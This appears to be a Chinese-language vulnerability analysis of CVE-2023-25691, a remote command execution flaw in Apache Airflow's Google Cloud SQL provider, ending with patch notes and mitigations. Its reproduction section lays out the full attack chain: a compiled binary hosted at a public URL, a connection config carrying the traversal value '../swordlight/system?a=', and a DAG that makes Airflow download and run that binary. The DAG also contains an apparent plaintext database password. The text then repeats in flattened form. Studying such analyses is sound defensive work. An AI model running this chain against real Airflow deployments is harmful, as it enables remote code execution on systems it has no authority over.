CVE-2023-25691 Apache Airflow Google Cloud Sql Provider 远程命令执行
字数 1336 2025-08-24 16:48:07

Apache Airflow Google Cloud SQL Provider 远程命令执行漏洞分析(CVE-2023-25691)

漏洞概述

Apache Airflow Google Cloud Provider 在所有版本(验证版本为8.8.0)中存在一个远程命令执行漏洞。该漏洞源于cloud_sql.py类中没有对参数进行有效过滤,攻击者可在与CloudSQLDatabaseHook建立连接时传入恶意的sql_proxy_version参数,导致系统下载并执行恶意文件。

漏洞原理

代码审计分析

airflow\providers\google\cloud\hooks\cloud_sql.py中,操作Google Cloud SQL实例时会从指定URL下载Google Cloud Proxy二进制文件并直接运行。关键问题在于:

  1. 下载URL在指定了sql_proxy_version参数时,会将用户设置的sql_proxy_version拼接到CLOUD_SQL_PROXY_VERSION_DOWNLOAD_URL
  2. 仅使用状态码200作为判断代理文件是否下载成功的依据
  3. 攻击者可以在sql_proxy_version中加入../进行目录穿越,下载其他二进制文件

利用条件

  1. 攻击者可以修改已有的连接配置信息
  2. 系统中存在使用CloudSQLExecuteQueryOperator的DAGs
  3. 默认docker安装包含apache-airflow-providers-google,但默认没有使用CloudSQLExecuteQueryOperator的DAG

漏洞复现

环境准备

  • Airflow 2.5.1
  • apache-airflow-providers-google 8.8.0
  • 使用docker compose搭建

攻击步骤

  1. 准备恶意可执行文件
#include<stdlib.h>
using namespace std;
int main(){
    system("mkdir /tmp/hello");
    return 0;
}

编译并重命名为system

g++ exec.cpp -o system

将编译好的恶意可执行文件上传到Google Cloud Storage,设置为公开可访问,例如:

https://storage.googleapis.com/swordlight/system
  1. 创建恶意Google Cloud SQL Database连接

在Admin->Connections下创建连接,Extra字段填入:

{
    "project_id": "pivotal-gearing-375804",
    "instance": "hellopg",
    "location": "us-central1-b",
    "database_type": "postgres",
    "use_proxy": "True",
    "use_ssl": "False",
    "sql_proxy_use_tcp": "True",
    "sql_proxy_version": "../swordlight/system?a=",
    "sslcert": "",
    "sslkey": "",
    "sslrootcert": ""
}
  1. 创建恶意DAG

创建google_test.py脚本并放置到/opt/airflow/dags目录:

from __future__ import annotations
import os
import subprocess
from datetime import datetime
from os.path import expanduser
from urllib.parse import quote_plus
from airflow import models
from airflow.providers.google.cloud.operators.cloud_sql import CloudSQLExecuteQueryOperator

SQL = [
    "CREATE TABLE IF NOT EXISTS TABLE_TEST (I INTEGER)",
    "CREATE TABLE IF NOT EXISTS TABLE_TEST (I INTEGER)",  # shows warnings logged
    "INSERT INTO TABLE_TEST VALUES (0)",
    "CREATE TABLE IF NOT EXISTS TABLE_TEST2 (I INTEGER)",
    "DROP TABLE TABLE_TEST",
    "DROP TABLE TABLE_TEST2",
]

postgres_kwargs = dict(
    user="postgres",
    password=r"ktd2(%E zQ5",
    public_port="5432",
    public_ip="34.122.52.6",
    project_id="pivotal-gearing-375804",
    location="us-central1-b",
    instance="hellopg",
    database="postgres",
    client_cert_file="key/postgres-client-cert.pem",
    client_key_file=".key/postgres-client-key.pem",
    server_ca_file=".key/postgres-server-ca.pem",
)

# Postgres: connect via proxy over TCP
os.environ["AIRFLOW_CONN_PROXY_POSTGRES_TCP"] = (
    "gcpcloudsql://{user}:{password}@{public_ip}:{public_port}/{database}?"
    "database_type=postgres&"
    "project_id={project_id}&"
    "location={location}&"
    "instance={instance}&"
    "use_proxy=True&"
    "sql_proxy_use_tcp=True".format(**postgres_kwargs)
)

connection_names = [
    "proxy_postgres_tcp",
]

with models.DAG(
    dag_id="example_gcp_sql_query",
    start_date=datetime(2021, 1, 1),
    catchup=False,
    tags=["example"],
) as dag:
    prev_task = None
    task = CloudSQLExecuteQueryOperator(
        gcp_cloudsql_conn_id="aaa",
        gcp_conn_id="proxy_postgres_tcp",
        task_id="example_gcp_sql_task_proxy_postgres_tcp",
        sql=SQL
    )
    if prev_task:
        prev_task >> task
    prev_task = task
  1. 触发漏洞

在UI管理界面开启example_gcp_sql_query DAG并运行,系统将:

  • 从攻击者控制的URL下载恶意文件
  • 重命名为/tmp/39cl4def_cloud_sql_proxy
  • 执行该文件,创建/tmp/hello目录

官方补丁分析

官方后续对sql_proxy_version参数使用正则表达式进行了严格校验,防止目录穿越攻击。

防护建议

  1. 升级到已修复版本
  2. 限制Airflow的认证访问
  3. 监控和审计连接配置的修改
  4. 限制外部网络访问

总结

该漏洞利用Airflow对Google Cloud SQL Provider参数校验不足的问题,通过构造恶意连接配置实现远程命令执行。虽然默认配置下利用条件较为苛刻,但在特定场景下仍可能造成严重危害。

Apache Airflow Google Cloud SQL Provider 远程命令执行漏洞分析(CVE-2023-25691) 漏洞概述 Apache Airflow Google Cloud Provider 在所有版本(验证版本为8.8.0)中存在一个远程命令执行漏洞。该漏洞源于 cloud_sql.py 类中没有对参数进行有效过滤,攻击者可在与 CloudSQLDatabaseHook 建立连接时传入恶意的 sql_proxy_version 参数,导致系统下载并执行恶意文件。 漏洞原理 代码审计分析 在 airflow\providers\google\cloud\hooks\cloud_sql.py 中,操作Google Cloud SQL实例时会从指定URL下载Google Cloud Proxy二进制文件并直接运行。关键问题在于: 下载URL在指定了 sql_proxy_version 参数时,会将用户设置的 sql_proxy_version 拼接到 CLOUD_SQL_PROXY_VERSION_DOWNLOAD_URL 中 仅使用状态码200作为判断代理文件是否下载成功的依据 攻击者可以在 sql_proxy_version 中加入 ../ 进行目录穿越,下载其他二进制文件 利用条件 攻击者可以修改已有的连接配置信息 系统中存在使用 CloudSQLExecuteQueryOperator 的DAGs 默认docker安装包含 apache-airflow-providers-google ,但默认没有使用 CloudSQLExecuteQueryOperator 的DAG 漏洞复现 环境准备 Airflow 2.5.1 apache-airflow-providers-google 8.8.0 使用docker compose搭建 攻击步骤 准备恶意可执行文件 编译并重命名为 system : 将编译好的恶意可执行文件上传到Google Cloud Storage,设置为公开可访问,例如: 创建恶意Google Cloud SQL Database连接 在Admin->Connections下创建连接,Extra字段填入: 创建恶意DAG 创建 google_test.py 脚本并放置到 /opt/airflow/dags 目录: 触发漏洞 在UI管理界面开启 example_gcp_sql_query DAG并运行,系统将: 从攻击者控制的URL下载恶意文件 重命名为 /tmp/39cl4def_cloud_sql_proxy 执行该文件,创建 /tmp/hello 目录 官方补丁分析 官方后续对 sql_proxy_version 参数使用正则表达式进行了严格校验,防止目录穿越攻击。 防护建议 升级到已修复版本 限制Airflow的认证访问 监控和审计连接配置的修改 限制外部网络访问 总结 该漏洞利用Airflow对Google Cloud SQL Provider参数校验不足的问题,通过构造恶意连接配置实现远程命令执行。虽然默认配置下利用条件较为苛刻,但在特定场景下仍可能造成严重危害。